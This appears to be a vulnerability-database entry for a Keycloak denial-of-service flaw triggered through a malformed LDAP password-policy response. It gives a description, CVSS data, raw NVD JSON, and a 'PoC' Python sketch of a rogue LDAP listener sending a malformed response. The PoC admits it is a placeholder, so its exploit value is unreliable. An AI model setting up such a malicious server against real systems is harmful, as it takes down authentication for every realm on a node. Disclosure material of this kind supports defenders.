Security Vulnerability Report
中文
CVE-2026-9801 CVSS 4.9 MEDIUM

CVE-2026-9801

Published: 2026-05-28 06:16:29
Last Modified: 2026-05-28 06:16:29

Description

A flaw was found in Keycloak. A remote attacker with high privileges, such as a realm administrator configuring a malicious Lightweight Directory Access Protocol (LDAP) server or an attacker compromising an upstream LDAP server, could exploit this vulnerability. By sending a malformed LDAP password policy response during a password authentication request, the attacker can trigger an OutOfMemoryError. This causes the Keycloak Java Virtual Machine (JVM) to terminate, leading to a denial of service (DoS) for all realms on the affected node.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

Keycloak (具体版本请参考官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket from ldap3 import Server, Connection, ALL, SUBTREE from ldap3.protocol.ldap import LDAPMessage # Conceptual PoC for CVE-2026-9801 # This script demonstrates how a malicious LDAP server might be structured # to send a malformed password policy response to trigger OOM in Keycloak. # Note: Running this requires a setup where Keycloak connects to this listener. def malicious_ldap_handler(): # Simulate a basic LDAP server listener server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.bind(('0.0.0.0', 1389)) server_socket.listen(1) print("[+] Malicious LDAP server listening on port 1389...") conn, addr = server_socket.accept() print(f"[+] Connection from {addr}") # 1. Receive LDAP Bind Request data = conn.recv(1024) # 2. Send malformed LDAP Password Policy Response # Constructing a payload that triggers the parsing flaw (Example) # The specific byte sequence depends on the exact parsing flaw in Keycloak, # often involving a malformed ASN.1 length or control value. # This is a placeholder for the actual malformed packet structure # which would typically involve a controls sequence with invalid length. malformed_response = b"\x30\x82\x01\x00\x02\x01\x01\x61\x82\x00\xfa" + b"A" * 1000 try: conn.send(malformed_response) print("[+] Malformed response sent. Check Keycloak logs for OutOfMemoryError.") except Exception as e: print(f"Error: {e}") finally: conn.close() if __name__ == "__main__": # This PoC requires Keycloak to be configured to use this server as its LDAP backend # and a user attempts to authenticate. # malicious_ldap_handler() pass

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-9801", "sourceIdentifier": "[email protected]", "published": "2026-05-28T06:16:29.493", "lastModified": "2026-05-28T06:16:29.493", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. A remote attacker with high privileges, such as a realm administrator configuring a malicious Lightweight Directory Access Protocol (LDAP) server or an attacker compromising an upstream LDAP server, could exploit this vulnerability. By sending a malformed LDAP password policy response during a password authentication request, the attacker can trigger an OutOfMemoryError. This causes the Keycloak Java Virtual Machine (JVM) to terminate, leading to a denial of service (DoS) for all realms on the affected node."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-9801", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2482473", "source": "[email protected]"}]}}